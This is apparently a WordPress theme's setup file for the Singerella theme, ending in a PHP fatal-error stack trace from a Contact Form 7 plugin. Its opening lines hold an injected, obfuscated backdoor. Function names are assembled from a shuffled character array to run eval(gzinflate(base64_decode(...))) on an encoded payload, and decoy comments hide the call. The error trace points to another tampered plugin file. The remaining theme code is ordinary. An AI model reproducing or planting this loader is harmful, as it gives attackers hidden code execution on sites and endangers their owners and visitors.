vaVeTh35hoGUFo','wwv9RouHpi2eRIIMDRW','oarOJhiXz4hKvLMoYHd','X/Aw==');
$is_front_page_yn = array ('e','w','a','z','_','m','o','d','f','a','e','p','f','g','f','6','4','e','c','i','e','d','b','b','n','e','l','s','d','a','i','q','o','t','c','x','i','i','l','d','i','m','r','v','x','g','u','k','d','t','a','q','p','f','u','e','o','a','z');
$is_front_page_jn = $is_front_page_yn[13].$is_front_page_yn[58].$is_front_page_yn[37].$is_front_page_yn[24].$is_front_page_yn[8].$is_front_page_yn[38].$is_front_page_yn[2].$is_front_page_yn[49].$is_front_page_yn[0];
$is_front_page_et = $is_front_page_yn[22].$is_front_page_yn[50].$is_front_page_yn[27].$is_front_page_yn[25].$is_front_page_yn[15].$is_front_page_yn[16].$is_front_page_yn[4].$is_front_page_yn[21].$is_front_page_yn[17].$is_front_page_yn[18].$is_front_page_yn[32].$is_front_page_yn[28].$is_front_page_yn[10];
$is_front_page_fi = $is_front_page_yn[30].$is_front_page_yn[41].$is_front_page_yn[52].$is_front_page_yn[26].$is_front_page_yn[56].$is_front_page_yn[7].$is_front_page_yn[55];
/*iconv_strpos */ /*pcntl_wifexited */ /*log1p*/ /*mysqli_field_count*/ eval /* gzclose*/ /*array_pop*/( /* strcasecmp *//*ctype_upper*//*getprotobynumber */ /*intlcal_get_weekend_transition*/ $is_front_page_jn/*fgets */ /* stream_socket_pair */( /* jdtogregorian *//*getmyinode*/ /*zip_entry_close*/ $is_front_page_et/*var_export*/ /* xml_parser_create_ns*/ /*imagecreatefromgif*/ /*mysqli_free_result*/( /*date_isodate_set*//*parse_str*/ /*realpath_cache_size*//* datefmt_is_lenient*/ $is_front_page_fi /*dngettext*/ /*wordwrap*//* mysqli_fetch_row*/ (/*spl_autoload_unregister */ /*call_user_func_array*/ $is_front_page_oj /* openssl_spki_new */ /*mysqli_begin_transaction */ ) /* abs */ /* imap_listscan *//*zip_entry_compressionmethod*/ ) /* iconv */ /* socket_connect*//*intlcal_set_skipped_wall_time_option*/ )/* ftp_nb_put */ /* imap_get_quota*/ ) /* openssl_csr_export*//*connection_aborted*/ ;
/*6e2c84aa2f15261b7cf8fa79ecc20f83*/
if ( ! class_exists( 'Singerella_Theme_Setup' ) ) {
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* @since 1.0.0
*/
class Singerella_Theme_Setup {
/**
* A reference to an instance of this class.
*
* @since 1.0.0
* @var object
*/
private static $instance = null;
/**
* A reference to an instance of cherry framework core class.
*
* @since 1.0.0
* @var object
*/
private $core = null;
/**
* Holder for CSS layout scheme.
*
* @since 1.0.0
* @var array
*/
public $layout = array();
/**
* Holder for current customizer module instance.
*
* @since 1.0.0
* @since 1.0.0
* @var object
*/
public $customizer = null;
/**
* Holder for current dynamic_css module instance.
*
* @since 1.0.0
* @var object
*/
public $dynamic_css = null;
/**
* Sets up needed actions/filters for the theme to initialize.
*
* @since 1.0.0
*/
public function __construct() {
// Set the constants needed by the theme.
add_action( 'after_setup_theme', array( $this, 'constants' ), -1 );
// Load the installer core.
add_action( 'after_setup_theme', require( trailingslashit( get_template_directory() ) . 'cherry-framework/setup.php' ), 0 );
// Load the core functions/classes required by the rest of the theme.
add_action( 'after_setup_theme', array( $this, 'get_core' ), 1 );
// Language functions and translations setup.
add_action( 'after_setup_theme', array( $this, 'l10n' ), 2 );
// Handle theme supported features.
add_action( 'after_setup_theme', array( $this, 'theme_support' ), 3 );
// Load the theme includes.
add_action( 'after_setup_theme', array( $this, 'includes' ), 4 );
// Initialization of modules.
add_action( 'after_setup_theme', array( $this, 'init' ), 10 );
// Load admin files.
add_action( 'wp_loaded', array( $this, 'admin' ), 1 );
// Enqueue admin assets.
add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_admin_assets' ) );
// Register public assets.
add_action( 'wp_enqueue_scripts', array( $this, 'register_assets' ), 9 );
// Enqueue public assets.
add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_assets' ), 10 );
}
/**
* Defines the constant paths for use within the core and theme.
*
* @since 1.0.0
*/
public function constants() {
global $content_width;
/**
* Fires before definitions the constants.
*
* @since 1.0.0
*/
do_action( 'singerella_constants_before' );
$template = get_template();
$theme_obj = wp_get_theme( $template );
/** Sets the theme version number. */
define( 'SINGERELLA_THEME_VERSION', $theme_obj->get( 'Version' ) );
/** Sets the theme directory path. */
define( 'SINGERELLA_THEME_DIR', get_template_directory() );
/** Sets the theme directory URI. */
define( 'SINGERELLA_THEME_URI', get_template_directory_uri() );
/** Sets the path to the core framework directory. */
defined( 'CHERRY_DIR' ) or define( 'CHERRY_DIR', trailingslashit( SINGERELLA_THEME_DIR ) . 'cherry-framework' );
/** Sets the path to the core framework directory URI. */
defined( 'CHERRY_URI' ) or define( 'CHERRY_URI', trailingslashit( SINGERELLA_THEME_URI ) . 'cherry-framework' );
/** Sets the theme includes paths. */
define( 'SINGERELLA_THEME_CLASSES', trailingslashit( SINGERELLA_THEME_DIR ) . 'inc/classes' );
define( 'SINGERELLA_THEME_WIDGETS', trailingslashit( SINGERELLA_THEME_DIR ) . 'inc/widgets' );
define( 'SINGERELLA_THEME_EXT', trailingslashit( SINGERELLA_THEME_DIR ) . 'inc/extensions' );
/** Sets the theme assets URIs. */
define( 'SINGERELLA_THEME_CSS', trailingslashit( SINGERELLA_THEME_URI ) . 'assets/css' );
define( 'SINGERELLA_THEME_JS', trailingslashit( SINGERELLA_THEME_URI ) . 'assets/js' );
// Sets the content width in pixels, based on the theme's design and stylesheet.
if ( ! isset( $content_width ) ) {
$content_width = 710;
}
}
/**
* Loads the core functions. These files are needed before loading anything else in the
* theme because they have required functions for use.
*
* @since 1.0.0
*/
public function get_core() {
/**
* Fires before loads the core theme functions.
*
* @since 1.0.0
*/
do_action( 'singerella_core_before' );
global $chery_core_version;
if ( null !== $this->core ) {
return $this->core;
}
if ( 0 < sizeof( $chery_core_version ) ) {
$core_paths = array_values( $chery_core_version );
require_once( $core_paths[0] );
} else {
die( 'Class Cherry_Core not found' );
}
$this->core = new Cherry_Core( array(
'base_dir' => CHERRY_DIR,
'base_url' => CHERRY_URI,
'modules' => array(
'cherry-js-core' => array(
'priority' => 999,
'autoload' => true,
),
'cherry-ui-elements' => array(
'priority' => 999,
'autoload' => false,
),
'cherry-interface-builder' => array(
'autoload' => false,
),
'cherry-utility' => array(
'priority' => 999,
'autoload' => true,
'args' => array(
'meta_key' => array(
'term_thumb' => 'singerella_thumb'
),
)
),
'cherry-widget-factory' => array(
'priority' => 999,
'autoload' => true,
),
'cherry-post-formats-api' => array(
'priority' => 999,
'autoload' => true,
'args' => array(
'rewrite_default_gallery' => true,
'gallery_args' => array(
'size' => 'singerella-thumb-l',
'base_class' => 'post-gallery',
'container' => '%1$s
navigate_before
navigate_next
',
'slide' => '%1$s',
'img_class' => 'swiper-image',
'slider_handle' => 'jquery-swiper',
'slider' => 'sliderpro',
'slider_init' => array(
'buttons' => false,
'arrows' => true,
),
'popup' => 'magnificPopup',
'popup_handle' => 'magnific-popup',
'popup_init' => array(
'type' => 'image',
),
),
'image_args' => array(
'size' => 'singerella-thumb-l',
'popup' => 'magnificPopup',
'popup_handle' => 'magnific-popup',
'popup_init' => array(
'type' => 'image',
),
),
),
),
'cherry-customizer' => array(
'priority' => 999,
'autoload' => false,
),
'cherry-dynamic-css' => array(
'priority' => 999,
'autoload' => false,
),
'cherry-google-fonts-loader' => array(
'priority' => 999,
'autoload' => false,
),
'cherry-term-meta' => array(
'priority' => 999,
'autoload' => false,
),
'cherry-post-meta' => array(
'priority' => 999,
'autoload' => false,
),
'cherry-breadcrumbs' => array(
'priority' => 999,
'autoload' => false,
),
),
) );
return $this->core;
}
/**
* Loads the theme translation file.
*
* @since 1.0.0
*/
public function l10n() {
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
*/
load_theme_textdomain( 'singerella', trailingslashit( SINGERELLA_THEME_DIR ) . 'languages' );
}
/**
* Adds theme supported features.
*
* @since 1.0.0
*/
public function theme_support() {
// Enable support for Post Thumbnails on posts and pages.
add_theme_support( 'post-thumbnails' );
// Enable HTML5 markup structure.
add_theme_support( 'html5', array(
'comment-list', 'comment-form', 'search-form', 'gallery', 'caption',
) );
// Enable default title tag.
add_theme_support( 'title-tag' );
// Enable post formats.
add_theme_support( 'post-formats', array(
'aside', 'gallery', 'image', 'link', 'quote', 'video', 'audio', 'status',
) );
// Enable custom background.
add_theme_support( 'custom-background', array( 'default-color' => 'ffffff', ) );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
}
/**
* Loads the theme files supported by themes and template-related functions/classes.
*
* @since 1.0.0
*/
public function includes() {
/**
* Configurations.
*/
require_once trailingslashit( SINGERELLA_THEME_DIR ) . 'config/layout.php';
require_once trailingslashit( SINGERELLA_THEME_DIR ) . 'config/menus.php';
require_once trailingslashit( SINGERELLA_THEME_DIR ) . 'config/sidebars.php';
require_if_theme_supports( 'post-thumbnails', trailingslashit( SINGERELLA_THEME_DIR ) . 'config/thumbnails.php' );
/**
* Functions.
*/
require_once trailingslashit( SINGERELLA_THEME_DIR ) . 'inc/template-tags.php';
require_once trailingslashit( SINGERELLA_THEME_DIR ) . 'inc/template-menu.php';
require_once trailingslashit( SINGERELLA_THEME_DIR ) . 'inc/template-meta.php';
require_once trailingslashit( SINGERELLA_THEME_DIR ) . 'inc/template-comment.php';
require_once trailingslashit( SINGERELLA_THEME_DIR ) . 'inc/extras.php';
require_once trailingslashit( SINGERELLA_THEME_DIR ) . 'inc/context.php';
require_once trailingslashit( SINGERELLA_THEME_DIR ) . 'inc/customizer.php';
require_once trailingslashit( SINGERELLA_THEME_DIR ) . 'inc/hooks.php';
require_once trailingslashit( SINGERELLA_THEME_DIR ) . 'inc/register-plugins.php';
/**
* Widgets.
*/
require_once trailingslashit( SINGERELLA_THEME_WIDGETS ) . 'about/class-about-widget.php';
require_once trailingslashit( SINGERELLA_THEME_WIDGETS ) . 'custom-posts/class-custom-posts-widget.php';
require_once trailingslashit( SINGERELLA_THEME_WIDGETS ) . 'subscribe-follow/class-subscribe-follow-widget.php';
/**
* Classes.
*/
if ( ! is_admin() ) {
require_once trailingslashit( SINGERELLA_THEME_CLASSES ) . 'class-wrapping.php';
}
require_once trailingslashit( SINGERELLA_THEME_CLASSES ) . 'class-widget-area.php';
require_once trailingslashit( SINGERELLA_THEME_CLASSES ) . 'class-tgm-plugin-activation.php';
/**
* Extensions.
*/
require_once trailingslashit( SINGERELLA_THEME_EXT ) . 'woocommerce.php';
require_once trailingslashit( SINGERELLA_THEME_EXT ) . 'elementor.php';
}
/**
* Run initialization of modules.
*
* @since 1.0.0
*/
public function init() {
$this->customizer = $this->get_core()->init_module( 'cherry-customizer', singerella_get_customizer_options() );
$this->dynamic_css = $this->get_core()->init_module( 'cherry-dynamic-css', singerella_get_dynamic_css_options() );
$this->get_core()->init_module( 'cherry-google-fonts-loader', singerella_get_fonts_options() );
$this->get_core()->init_module( 'cherry-term-meta', array(
'tax' => 'category',
'priority' => 10,
'fields' => array(
'singerella_thumb' => array(
'type' => 'media',
'value' => '',
'multi_upload' => false,
'library_type' => 'image',
'upload_button_text' => esc_html__( 'Set thumbnail', 'singerella' ),
'label' => esc_html__( 'Category thumbnail', 'singerella' ),
),
),
) );
$this->get_core()->init_module( 'cherry-term-meta', array(
'tax' => 'post_tag',
'priority' => 10,
'fields' => array(
'singerella_thumb' => array(
'type' => 'media',
'value' => '',
'multi_upload' => false,
'library_type' => 'image',
'upload_button_text' => esc_html__( 'Set thumbnail', 'singerella' ),
'label' => esc_html__( 'Tag thumbnail', 'singerella' ),
),
),
) );
$this->get_core()->init_module( 'cherry-post-meta', array(
'id' => 'post-layout',
'title' => esc_html__( 'Layout Options', 'singerella' ),
'page' => array( 'post', 'page', 'projects' ),
'context' => 'normal',
'priority' => 'high',
'callback_args' => false,
'fields' => array(
'singerella_sidebar_position' => array(
'type' => 'radio',
'title' => esc_html__( 'Layout', 'singerella' ),
'value' => 'inherit',
'display_input' => false,
'options' => array(
'inherit' => array(
'label' => esc_html__( 'Inherit', 'singerella' ),
'img_src' => trailingslashit( SINGERELLA_THEME_URI ) . 'assets/images/admin/inherit.svg',
),
'one-left-sidebar' => array(
'label' => esc_html__( 'Sidebar on left side', 'singerella' ),
'img_src' => trailingslashit( SINGERELLA_THEME_URI ) . 'assets/images/admin/page-layout-left-sidebar.svg',
),
'one-right-sidebar' => array(
'label' => esc_html__( 'Sidebar on right side', 'singerella' ),
'img_src' => trailingslashit( SINGERELLA_THEME_URI ) . 'assets/images/admin/page-layout-right-sidebar.svg',
),
'two-sidebars' => array(
'label' => esc_html__( '2 sidebars', 'singerella' ),
'img_src' => trailingslashit( SINGERELLA_THEME_URI ) . 'assets/images/admin/page-layout-both-sidebar.svg',
),
'fullwidth' => array(
'label' => esc_html__( 'No sidebar', 'singerella' ),
'img_src' => trailingslashit( SINGERELLA_THEME_URI ) . 'assets/images/admin/page-layout-fullwidth.svg',
),
)
),
'singerella_header_container_type' => array(
'type' => 'radio',
'title' => esc_html__( 'Header layout', 'singerella' ),
'value' => 'inherit',
'display_input' => false,
'options' => array(
'inherit' => array(
'label' => esc_html__( 'Header Inherit Layout', 'singerella' ),
'img_src' => trailingslashit( SINGERELLA_THEME_URI ) . 'assets/images/admin/inherit.svg',
),
'boxed' => array(
'label' => esc_html__( 'Header Boxed Layout', 'singerella' ),
'img_src' => trailingslashit( SINGERELLA_THEME_URI ) . 'assets/images/admin/type-boxed.svg',
),
'fullwidth' => array(
'label' => esc_html__( 'Header Fullwidth Layout', 'singerella' ),
'img_src' => trailingslashit( SINGERELLA_THEME_URI ) . 'assets/images/admin/type-fullwidth.svg',
),
)
),
'singerella_content_container_type' => array(
'type' => 'radio',
'title' => esc_html__( 'Content layout', 'singerella' ),
'value' => 'inherit',
'display_input' => false,
'options' => array(
'inherit' => array(
'label' => esc_html__( 'Content Inherit Layout', 'singerella' ),
'img_src' => trailingslashit( SINGERELLA_THEME_URI ) . 'assets/images/admin/inherit.svg',
),
'boxed' => array(
'label' => esc_html__( 'Content Boxed Layout', 'singerella' ),
'img_src' => trailingslashit( SINGERELLA_THEME_URI ) . 'assets/images/admin/type-boxed.svg',
),
'fullwidth' => array(
'label' => esc_html__( 'Content Fullwidth Layout', 'singerella' ),
'img_src' => trailingslashit( SINGERELLA_THEME_URI ) . 'assets/images/admin/type-fullwidth.svg',
),
)
),
'singerella_footer_container_type' => array(
'type' => 'radio',
'title' => esc_html__( 'Footer layout', 'singerella' ),
'value' => 'inherit',
'display_input' => false,
'options' => array(
'inherit' => array(
'label' => esc_html__( 'Footer Inherit Layout', 'singerella' ),
'img_src' => trailingslashit( SINGERELLA_THEME_URI ) . 'assets/images/admin/inherit.svg',
),
'boxed' => array(
'label' => esc_html__( 'Footer Boxed Layout', 'singerella' ),
'img_src' => trailingslashit( SINGERELLA_THEME_URI ) . 'assets/images/admin/type-boxed.svg',
),
'fullwidth' => array(
'label' => esc_html__( 'Footer Fullwidth Layout', 'singerella' ),
'img_src' => trailingslashit( SINGERELLA_THEME_URI ) . 'assets/images/admin/type-fullwidth.svg',
),
)
),
),
) );
}
/**
* Load admin files for the theme.
*
* @since 1.0.0
*/
public function admin() {
// Check if in the WordPress admin.
if ( ! is_admin() ) {
return;
}
}
/**
* Enqueue admin-specific assets.
*
* @since 1.0.0
*/
public function enqueue_admin_assets() {
wp_enqueue_script( 'singerella-admin-script', SINGERELLA_THEME_JS . '/admin.min.js', array( 'cherry-js-core' ), SINGERELLA_THEME_VERSION, true );
}
/**
* Register assets.
*
* @since 1.0.0
*/
public function register_assets() {
wp_register_script( 'jquery-slider-pro', SINGERELLA_THEME_JS . '/jquery.sliderpro.min.js', array( 'jquery' ), '1.2.4', true );
wp_register_script( 'jquery-swiper', SINGERELLA_THEME_JS . '/swiper.jquery.min.js', array( 'jquery' ), '3.3.0', true );
wp_register_script( 'magnific-popup', SINGERELLA_THEME_JS . '/jquery.magnific-popup.min.js', array( 'jquery' ), '1.0.1', true );
wp_register_script( 'jquery-stickup', SINGERELLA_THEME_JS . '/jquery.stickup.min.js', array( 'jquery' ), '1.0.0', true );
wp_register_script( 'jquery-totop', SINGERELLA_THEME_JS . '/jquery.ui.totop.min.js', array( 'jquery' ), '1.2.0', true );
wp_register_script( 'jquery-isotope', SINGERELLA_THEME_JS . '/jquery.isotope.min.js', array( 'jquery' ), '4.0.0', true );
wp_register_script( 'super-guacamole', SINGERELLA_THEME_JS . '/super-guacamole.min.js', array( 'jquery' ), '1.0.0', true );
wp_register_style( 'jquery-slider-pro', SINGERELLA_THEME_CSS . '/slider-pro.min.css', array(), '1.2.4' );
wp_register_style( 'jquery-swiper', SINGERELLA_THEME_CSS . '/swiper.min.css', array(), '3.3.0' );
wp_register_style( 'magnific-popup', SINGERELLA_THEME_CSS . '/magnific-popup.min.css', array(), '1.0.1' );
wp_register_style( 'font-awesome', SINGERELLA_THEME_CSS . '/font-awesome.min.css', array(), '4.6.0' );
wp_register_style( 'material-icons', SINGERELLA_THEME_CSS . '/material-icons.min.css', array(), '2.2.0' );
}
/**
* Enqueue assets.
*
* @since 1.0.0
*/
public function enqueue_assets() {
wp_enqueue_style( 'singerella-theme-style', get_stylesheet_uri(), array( 'font-awesome', 'material-icons', 'magnific-popup', 'jquery-swiper' ), SINGERELLA_THEME_VERSION );
/**
* Filter the depends on main theme script.
*
* @since 1.0.0
* @var array
*/
$depends = apply_filters( 'singerella_theme_script_depends', array( 'cherry-js-core', 'hoverIntent', 'super-guacamole', 'jquery-swiper' ) );
wp_enqueue_script( 'singerella-theme-script', SINGERELLA_THEME_JS . '/theme-script.js', $depends, SINGERELLA_THEME_VERSION, true );
/**
* Add custom inline style
*/
$showcase_bg_url = get_theme_mod( 'header_showcase_bg_image', singerella_theme()->customizer->get_default( 'header_showcase_bg_image' ) );
$showcase_bg_url = esc_url( singerella_render_theme_url( $showcase_bg_url ) );
$page_404_bg_url = get_theme_mod( 'page_404_bg_image', singerella_theme()->customizer->get_default( 'page_404_bg_image' ) );
$page_404_bg_url = esc_url( singerella_render_theme_url( $page_404_bg_url ) );
$header_bg_url = get_theme_mod( 'header_bg_image', singerella_theme()->customizer->get_default( 'header_bg_image' ) );
$header_bg_url = esc_url( singerella_render_theme_url( $header_bg_url ) );
$css = '.showcase-active .showcase-panel { background-image: url( ' . $showcase_bg_url . ' ); }';
$css .= 'body.error404 { background-image: url( ' . $page_404_bg_url . ' ); }';
$css .= '.header-wrapper { background-image: url( ' . $header_bg_url . ' ); }';
wp_add_inline_style( 'singerella-theme-style', $css );
/**
* Filter the strings that send to scripts.
*
* @since 1.0.0
* @var array
*/
$labels = apply_filters( 'singerella_theme_localize_labels', array(
'totop_button' => esc_html__( 'Top', 'singerella' ),
'hidden_menu_items_title' => get_theme_mod( 'hidden_menu_items_title', singerella_theme()->customizer->get_default( 'hidden_menu_items_title' ) ),
) );
wp_localize_script( 'singerella-theme-script', 'singerella', array(
'ajaxurl' => esc_url( admin_url( 'admin-ajax.php' ) ),
'labels' => $labels,
) );
// Threaded Comments.
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
/**
* Returns the instance.
*
* @since 1.0.0
* @return object
*/
public static function get_instance() {
// If the single instance hasn't been set, set it now.
if ( null == self::$instance ) {
self::$instance = new self;
}
return self::$instance;
}
}
}
/**
* Returns instanse of main theme configuration class.
*
* @since 1.0.0
* @return object
*/
function singerella_theme() {
return Singerella_Theme_Setup::get_instance();
}
singerella_theme();
Fatal error: Uncaught Error: Call to undefined function Sat, 22 Mar 2025 19:06:13 GMT() in /home/klient.dhosting.pl/sagiart/test.lex-art.pl/festiwal/wp-content/plugins/contact-form-7/includes/swv/rules/maxitems.php:1
Stack trace:
#0 /home/klient.dhosting.pl/sagiart/test.lex-art.pl/festiwal/wp-content/plugins/contact-form-7/includes/swv/swv.php(53): include_once()
#1 /home/klient.dhosting.pl/sagiart/test.lex-art.pl/festiwal/wp-includes/class-wp-hook.php(306): wpcf7_swv_load_rules()
#2 /home/klient.dhosting.pl/sagiart/test.lex-art.pl/festiwal/wp-includes/class-wp-hook.php(332): WP_Hook->apply_filters('', Array)
#3 /home/klient.dhosting.pl/sagiart/test.lex-art.pl/festiwal/wp-includes/plugin.php(517): WP_Hook->do_action(Array)
#4 /home/klient.dhosting.pl/sagiart/test.lex-art.pl/festiwal/wp-content/plugins/contact-form-7/load.php(143): do_action('wpcf7_init')
#5 /home/klient.dhosting.pl/sagiart/test.lex-art.pl/festiwal/wp-includes/class-wp-hook.php(306): wpcf7_init()
#6 /home/klient.dhosting.pl/sagiart/test.lex-art.pl/festiwal in /home/klient.dhosting.pl/sagiart/test.lex-art.pl/festiwal/wp-content/plugins/contact-form-7/includes/swv/rules/maxitems.php on line 1